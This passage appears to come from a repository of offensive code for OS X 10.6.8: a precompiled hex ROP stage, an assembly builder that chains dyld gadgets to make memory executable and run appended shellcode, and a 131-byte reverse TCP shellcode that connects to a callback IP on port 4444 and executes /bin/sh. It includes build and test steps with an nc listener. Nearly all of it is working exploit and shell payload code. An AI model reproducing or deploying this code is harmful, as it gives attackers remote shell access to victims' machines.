15 | \xe1\x4c\xc2\x5f\xff\x7f\x00\x00\xdc\x4c\xc2\x5f\xff\x7f\x00\x00\x00\x21\xc5\x5f\xff\x7f\x00\x00
16 | \x73\x33\xc2\x5f\xff\x7f\x00\x00\x00\x10\xc5\x5f\xff\x7f\x00\x00\xe1\x4c\xc2\x5f\xff\x7f\x00\x00
17 | \xdc\x4c\xc2\x5f\xff\x7f\x00\x00\xf8\x0f\xc5\x5f\xff\x7f\x00\x00\x73\x33\xc2\x5f\xff\x7f\x00\x00
18 | \x49\x8d\xb7\xe0\x00\x00\x00\x48\xe1\x4c\xc2\x5f\xff\x7f\x00\x00\xdc\x4c\xc2\x5f\xff\x7f\x00\x00
19 | \x00\x10\xc5\x5f\xff\x7f\x00\x00\x73\x33\xc2\x5f\xff\x7f\x00\x00\x31\xc9\x48\xff\xc1\x48\xc1\xe1
20 | \xe1\x4c\xc2\x5f\xff\x7f\x00\x00\xdc\x4c\xc2\x5f\xff\x7f\x00\x00\x08\x10\xc5\x5f\xff\x7f\x00\x00
21 | \x73\x33\xc2\x5f\xff\x7f\x00\x00\x0c\x48\x8d\x3d\x02\x00\x00\x00\xe1\x4c\xc2\x5f\xff\x7f\x00\x00
22 | \xdc\x4c\xc2\x5f\xff\x7f\x00\x00\x10\x10\xc5\x5f\xff\x7f\x00\x00\x73\x33\xc2\x5f\xff\x7f\x00\x00
23 | \xf3\xa4\xdc\x4c\xc2\x5f\xff\x7f\xe1\x4c\xc2\x5f\xff\x7f\x00\x00\x4b\x4c\xc2\x5f\xff\x7f\x00\x00
24 | \xdc\x4c\xc2\x5f\xff\x7f\x00\x00\x00\x00\xc5\x5f\xff\x7f\x00\x00\xa1\x4c\xc2\x5f\xff\x7f\x00\x00
25 | 


--------------------------------------------------------------------------------
/osx.dyld.rop/sc.asm:
--------------------------------------------------------------------------------
  1 | ; universal OSX dyld ROP shellcode
  2 | ; tested on OS X 10.6.8
  3 | ; 
  4 | ; if you don't want to compile, copy stage0 code from precompiled.txt
  5 | ; and append your normal shellcode to it.
  6 | ;
  7 | ; usage:
  8 | ; - put your 'normal' shellcode in x64_shellcode.asm
  9 | ; - make
 10 | ; - ./sc
 11 | ;
 12 | ; if you want to test:
 13 | ; - uncomment lea rsp, [rel rop_stage0] / ret
 14 | ; - make
 15 | ; - nc -l 4444
 16 | ; - ./sc
 17 | ; - you should get a shell over nc
 18 | ; 
 19 | ; see my blog, if you want to know how this works:
 20 | ; http://gdtr.wordpress.com
 21 | ;
 22 | ; greets to Jacob Hammack, for his reverse tcp shellcode (hammackj.com).
 23 | ;
 24 | ; pa_kt
 25 | ; twitter.com/pa_kt
 26 | 
 27 | extern _printf
 28 | 
 29 | global _main
 30 | 
 31 | ;--------------------------------------------------
 32 | ;- DATA
 33 | ;--------------------------------------------------
 34 | section .data
 35 |     
 36 | rw_area     equ 0x00007FFF5FC50000
 37 | rwx_area    equ rw_area+0x1000
 38 | vm_prot     equ 0x00007FFF5FC0D356
 39 | fake_stack  equ rw_area+0x2000
 40 | fake_frame  equ fake_stack+0x100
 41 | r12_zero    equ rw_area-0x1000
 42 | 
 43 | rax_off     equ rw_area-8
 44 | rbx_off     equ rw_area+8-8
 45 | rcx_off     equ rw_area+0x10-8
 46 | rdx_off     equ rw_area+0x18-8
 47 | rsi_off     equ rw_area+0x28-8
 48 | rbp_off     equ rw_area+0x30-8
 49 | rsp_off     equ rw_area+0x38-8
 50 | r8_off      equ rw_area+0x40-8
 51 | r12_off     equ rw_area+0x60-8
 52 | 
 53 | pop_rdi     equ 0x00007FFF5FC24CDC
 54 | pop_rbx     equ 0x00007FFF5FC23373
 55 | store_reg   equ 0x00007FFF5FC24CE1
 56 | set_regs    equ 0x00007FFF5FC24CA1
 57 | 
 58 | c_rwx       equ 7
 59 | c_size      equ 0x1000
 60 | c_addr      equ rwx_area
 61 | c_set_max   equ 0
 62 | 
 63 | dbg_ret     equ 0x00007FFF5FC24C4B
 64 | 
 65 | ; copy shellcode to RWX area
 66 | ; size = 0x1000
 67 | stub:
 68 |     lea rsi, [r15+saved_rsp_off+copy_stub_size+rop_post_size]
 69 |     xor rcx, rcx
 70 |     inc rcx
 71 |     shl rcx, 12 ;rcx = 0x1000
 72 |     lea rdi, [rel normal_shellcode]
 73 |     rep movsb
 74 |     ;int 3
 75 | normal_shellcode:
 76 | 
 77 | stub_size   equ $-stub
 78 | 
 79 |             ; order is important
 80 | rop_pre     dq  pop_rdi, rcx_off, pop_rbx, c_set_max, store_reg,
 81 |             dq  pop_rdi, rdx_off, pop_rbx, c_size, store_reg,
 82 |             dq  pop_rdi, rsi_off, pop_rbx, c_addr, store_reg,
 83 |             dq  pop_rdi, rbp_off, pop_rbx, fake_frame, store_reg,
 84 |             dq  pop_rdi, rsp_off, pop_rbx, fake_stack, store_reg,
 85 |             dq  pop_rdi, r8_off, pop_rbx, c_rwx, store_reg,
 86 |             dq  pop_rdi, r12_off, pop_rbx, r12_zero, store_reg,
 87 | 
 88 |             ; set fake stack
 89 |             dq  pop_rdi, fake_stack+8-8, pop_rbx, vm_prot, store_reg,
 90 |             
 91 |             ; set fake frame (return address -> rwx page)
 92 |             dq  pop_rdi, fake_frame-8-0x38, store_reg,
 93 | saved_rsp:
 94 |             dq  pop_rdi, fake_frame+8-8, pop_rbx, rwx_area, store_reg,
 95 | 
 96 | rop_pre_size    equ $-rop_pre            
 97 | saved_rsp_off   equ $-saved_rsp-8
 98 | 
 99 | rop_post    dq  dbg_ret
100 |             
101 |             ; set all regs and jump to vm_prot
102 |             dq  pop_rdi, rw_area, set_regs
103 |             ; marker
104 |             ; dq 0x1111111111111111
105 | 
106 | rop_post_size   equ $-rop_post
107 | 
108 | x64_shellcode:   incbin "x64_shellcode"
109 | x64_shellcode_size     equ $-x64_shellcode
110 | 
111 | hello   db "test", 0
112 | fmt     db "\x%02x",0
113 | 
114 | section .bss
115 | 
116 | rop_stage0  resq    100
117 | copy_stub   resq    ((stub_size+7)/8)*5
118 | copy_stub_size  equ $-copy_stub 
119 | 
120 | ;--------------------------------------------------    
121 | ;- CODE
122 | ;--------------------------------------------------
123 | section .text
124 | 
125 | prep_stub:
126 | 
127 |     mov     rcx, (stub_size+7)/8
128 |     mov     rsi, stub
129 |     mov     rdi, copy_stub
130 |     mov     rbx, rwx_area-8
131 | go:
132 |     mov     rax, pop_rdi
133 |     stosq
134 |     mov     rax, rbx
135 |     stosq
136 |     mov     rax, pop_rbx
137 |     stosq
138 |     movsq
139 |     mov     rax, store_reg
140 |     stosq
141 |     add     rbx, 8
142 |     loop    go
143 |     ret
144 | 
145 | make_stage0:
146 |     mov     rsi, rop_pre
147 |     mov     rdi, rop_stage0
148 |     mov     rcx, rop_pre_size
149 |     rep     movsb
150 |     
151 |     mov     rsi, copy_stub
152 |     mov     rcx, copy_stub_size
153 |     rep     movsb
154 | 
155 |     mov     rsi, rop_post
156 |     mov     rcx, rop_post_size
157 |     rep     movsb
158 |     
159 |     mov     rsi, x64_shellcode
160 |     mov     rcx, x64_shellcode_size
161 |     rep     movsb
162 | 
163 |     ret
164 | 
165 | print_it:
166 |     push    rbp
167 |     mov     rbp, rsp
168 | 
169 |     mov     rcx, rop_pre_size + copy_stub_size + rop_post_size + x64_shellcode_size
170 |     lea     rsi, [rel rop_stage0]
171 |     xor     rax, rax
172 | one_char:
173 |     lodsb 
174 |     push    rsi
175 |     push    rcx
176 |     mov     rsi, rax
177 |     mov     rdi, qword fmt
178 |     xor     rax, rax
179 |     call    _printf
180 |     pop     rcx
181 |     pop     rsi
182 |     loop    one_char
183 |     
184 |     leave 
185 |     ret
186 | 
187 | _main:
188 |     push    qword rbp
189 |     mov     rbp, rsp
190 | 
191 |     call    prep_stub
192 |     call    make_stage0
193 | 
194 |     call    print_it
195 | 
196 |     ;lea     rsp, [rel rop_stage0]
197 |     ;ret
198 | 
199 |     leave
200 |     ret
201 | 
202 | 


--------------------------------------------------------------------------------
/osx.dyld.rop/x64_shellcode.asm:
--------------------------------------------------------------------------------
 1 | ;osx x64 reverse tcp shellcode (131 bytes)
 2 | ;Jacob Hammack
 3 | ;jacob.hammack@hammackj.com<script type="text/javascript">
 4 | ;/* <![CDATA[ */
 5 | ;(function(){try{var s,a,i,j,r,c,l=document.getElementById("__cf_email__");a=l.className;if(a){s='';r=parseInt(a.substr(0,2),16);for(j=2;a.length-j;j+=2){c=parseInt(a.substr(j,2),16)^r;s+=String.fromCharCode(c);}s=document.createTextNode(s);l.parentNode.replaceChild(s,l);}}catch(e){}})();
 6 | ;/* ]]> */
 7 | ;</script>
 8 | ;http://www.hammackj.com
 9 | ;
10 | ;props to http://www.thexploit.com/ for the blog posts on x64 osx asm
11 | ;I borrowed some of his code
12 | ;
13 |  
14 | ;#OSX reverse tcp shell (131 bytes)
15 | ;#replace FFFFFFFF around byte 43 with the call back ip in hex
16 | ;#replace 5C11 around byte 39 with a new port current is 4444
17 | ;shellcode =
18 | ;"\x41\xB0\x02\x49\xC1\xE0\x18\x49\x83\xC8\x61\x4C\x89\xC0\x48" +
19 | ;"\x31\xD2\x48\x89\xD6\x48\xFF\xC6\x48\x89\xF7\x48\xFF\xC7\x0F" +
20 | ;"\x05\x49\x89\xC4\x49\xBD\x01\x01\x11\x5C\xFF\xFF\xFF\xFF\x41" +
21 | ;"\xB1\xFF\x4D\x29\xCD\x41\x55\x49\x89\xE5\x49\xFF\xC0\x4C\x89" +
22 | ;"\xC0\x4C\x89\xE7\x4C\x89\xEE\x48\x83\xC2\x10\x0F\x05\x49\x83" +
23 | ;"\xE8\x08\x48\x31\xF6\x4C\x89\xC0\x4C\x89\xE7\x0F\x05\x48\x83" +
24 | ;"\xFE\x02\x48\xFF\xC6\x76\xEF\x49\x83\xE8\x1F\x4C\x89\xC0\x48" +
25 | ;"\x31\xD2\x49\xBD\xFF\x2F\x62\x69\x6E\x2F\x73\x68\x49\xC1\xED" +
26 | ;"\x08\x41\x55\x48\x89\xE7\x48\x31\xF6\x0F\x05"
27 |  
28 | ;nasm -f macho reverse_tcp.s -o reverse_tcp.o
29 | ;ld -o reverse_tcp -e start reverse_tcp.o
30 | 
31 | BITS 64
32 |  
33 | section .text
34 | global start
35 |  
36 | start:
37 |   mov r8b, 0x02               ; unix class system calls = 2
38 |   shl r8, 24                  ; shift left 24 to the upper order bits
39 |   or r8, 0x61                 ; socket is 0x61
40 |   mov rax, r8                 ; put socket syscall # into rax
41 |  
42 | ;Socket
43 |   xor rdx, rdx                ; zero out rdx
44 |   mov rsi, rdx                ; AF_NET = 1
45 |   inc rsi                     ; rsi = AF_NET
46 |   mov rdi, rsi                ; SOCK_STREAM = 2
47 |   inc rdi                     ; rdi = SOCK_STREAM
48 |   syscall                     ; call socket(SOCK_STREAM, AF_NET, 0);
49 |  
50 |   mov r12, rax                ; Save the socket
51 |  
52 | ;Sock_addr
53 |   mov r13, 0x0100007f5C110101 ; IP = FFFFFFFF, Port = 5C11(4444)
54 |   mov r9b, 0xFF               ; The sock_addr_in is + FF from where we need it
55 |   sub r13, r9                 ; So we sub 0xFF from it to get the correct value and avoid a null
56 |   push r13                    ; Push it on the stack
57 |   mov r13, rsp                ; Save the sock_addr_in into r13
58 |  
59 |  
60 | ;Connect
61 |   inc r8                      ; Connect = 0x62, so we inc by one from the previous syscall
62 |   mov rax, r8                 ; move that into rax
63 |   mov rdi, r12                ; move the saved socket fd into rdi
64 |   mov rsi, r13                ; move the saved sock_addr_in into rsi
65 |   add rdx, 0x10               ; add 0x10 to rdx
66 |   syscall                     ; call connect(rdi, rsi, rdx)
67 |  
68 |   sub r8, 0x8                 ; subtract 8 from r8 for the next syscall dup2 0x90
69 |   xor rsi, rsi                ; zero out rsi
70 |  
71 | dup:
72 |   mov rax, r8                 ; move the syscall for dup2 into rax
73 |   mov rdi, r12                ; move the FD for the socket into rdi
74 |   syscall                     ; call dup2(rdi, rsi)
75 |  
76 |   cmp rsi, 0x2                ; check to see if we are still under 2
77 |   inc rsi                     ; inc rsi
78 |   jbe dup                     ; jmp if less than 2
79 |  
80 |   sub r8, 0x1F                ; setup the exec syscall at 0x3b
81 |   mov rax, r8                 ; move the syscall into rax
82 |  
83 | ;exec
84 |   xor rdx, rdx                ; zero out rdx
85 |   mov r13, 0x68732f6e69622fFF ; '/bin/sh' in hex
86 |   shr r13, 8                  ; shift right to create the null terminator
87 |   push r13                    ; push to the stack
88 |   mov rdi, rsp                ; move the command from the stack to rdi
89 |   xor rsi, rsi                ; zero out rsi
90 |   syscall                     ; call exec(rdi, 0, 0)
91 | 
92 | 


--------------------------------------------------------------------------------